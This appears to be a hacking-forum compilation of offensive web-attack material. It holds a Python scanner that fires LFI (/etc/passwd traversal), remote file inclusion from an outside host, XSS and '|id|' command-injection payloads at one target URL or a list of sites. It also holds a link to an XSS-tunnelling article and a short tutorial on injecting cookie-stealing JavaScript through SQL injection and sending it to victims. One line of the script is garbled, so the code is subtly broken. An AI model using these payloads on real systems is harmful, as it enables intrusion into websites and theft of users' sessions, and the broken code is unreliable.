3scan ( lfi-xss-rfi-cmd)

[code]

#!/usr/bin/python

#Checks LFI,XSS,RFI,CMD injection searches source and http response (simple)


#http://www.darkc0de.com

#d3hydr8[at]gmail[dot]com


import sys, httplib, urllib2, re


#Don't change LFI,XSS, or CMD

LFI = "../../../../../../../../../../../../etc/passwd"

RFI = "http://yozurino.com/r.txt?"

RFI_TITLE = "Target"

XSS = "%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E"

CMD = "|id|"


def main(host):

   host = host.replace("http://","")

   if host[-1:] != "=":

      print "\n[-] Host should end with a \'=\'\n"

      print "[-]",host

      sys.exit(1)


   print "\n[+] Host:",host


   try:

      print "\n[+] Checking XSS"

      xss(host)

      print "\n[+] Checking LFI"

      lfi(host)

      print "\n[+] Checking RFI"

      rfi(host)

      print "\n[+] Checking CMD"

      cmd(host)

   except(urllib2.HTTPError, urllib2.URLError), msg:

      print "[-] Error Occurred:",msg

      pass



def rfi(host):


   try:

      h = httplib.HTTP(host.rsplit("/")[0])

      h.putrequest("GET","/"+host.rsplit("/")[1]+RFI)

      h.putheader("Host", host.rsplit("/")[0])

      h.endheaders()

      status, reason, headers = h.getreply()

      source = urllib2.urlopen("http://"+host+RFI).read()

      if re.search("Target", source) and status == 200:

         print "[+] RFI:",host+RFI,"\n[+]",status, reason

      else:

         print "[-] Not Vuln."

   except(),msg:

      #print "[-] Error Occurred",msg

      pass


def xss(host):

   source = urllib2.urlopen("http://"+host+XSS).read()

   if re.search("XSS", source) != None:

      print "[!] XSS:",host+XSS

   else:

      print "[-] Not Vuln."


def cmd(host):

   source = urllib2.urlopen("http://"+host+CMD).read()

   if re.search("uid=", source) != None:

      print "[!] CMD:",host+CMD

   else:

      print "[-] Not Vuln."


def lfi(host):


   source = urllib2.urlopen("http://"+host+LFI).read()

   if re.search("root:", source) != None:

      print "[!] LFI:",host+LFI

   else:

      print "[-] Not Vuln."

   source = urllib2.urlopen("http://"+host+LFI+"").read()

   if re.search("root:", source) != None:

      print "[!] LFI:",host+LFI+""

   else:

      print "[-] Not Vuln. w/  Null Byte"


if len(sys.argv) != 3:

   print "\nUsage: ./3scan.py "

   print "ex: ./3scan.py -s www.example.com/index.php?page="

   print "ex: ./3scan.py -list /home/d3hydr8/sites.txt"

   print "\t[options]"

   print "\t   -s/-site  : Searches just that site"

   print "\t   -l/-list  : Searches list"

   sys.exit(1)


print "\n   d3hydr8[at]gmail[dot]com 3scan v1.0"

print "---------------------------------------"


if sys.argv[1].lower() == "-l" or sys.argv[1].lower() == "-list"{ :

}

   try:

        sites = open(sys.argv[2], "r").readlines()

   except(IOError):

        print "Error: Check your file path\n"

        sys.exit(1)

   for host in sites:

      main(host.replace("\n",""))

else:

   main(sys.argv[2])


print "\n[+] Done\n"

[/code]

Attacking Clients By Way Of XSS Tunelling

lang = persian

download article : http://bl4ckh4t.persiangig.com/blog/Attacking%20Clients%20By%20Way%20Of%20XSS%20Tunelling.docx

XFS

Article title    : Cross site
scripting(XSS) From SQL Injection
Author            : Pr0T3cT10n <pr0t3ct10n@gmail.com>
Site            : http://www.nullbyte.org.il
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Table of Contents:
    [*] 1 - Presentation.
    [*] 2 - Explanation.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 1 - Presentation:
    [^] What is XFS?
        [*] XFS(XSS FROM SQL) means that we can execute js code from sql
injection vulnerability through the function char().
            The function char() is designed to convert ASCII code to char. Thats
why we use this function, for execute js code.

    [^] What we need?
        [*] SQL Injection.
        [*] String 2 ASCII converter.
        [*] The function char.

[*] 2 - Explanation:
    [^] OK, so..first of all. we need ascii converter. online convertor:
http://www.easycalculation.com/ascii-hex.php
        The function char used to return output data. it means that if we will
 encode n then put it inside the function
        So the function char() will execute the code. note, you must not have
any space on your js code otherwise it will not executed.
        For example:
       
http://www.example.com/index.php?id=1+union+all+select+1,2,3,4,char(ASCII_CODE),5--

        So, if you want to steal cookies, you will need to encode your js code
 then put it instead ASCII_CODE then send it to your victim.
       
This attack is useful, at least for me..I used it several times and it
works fine for me.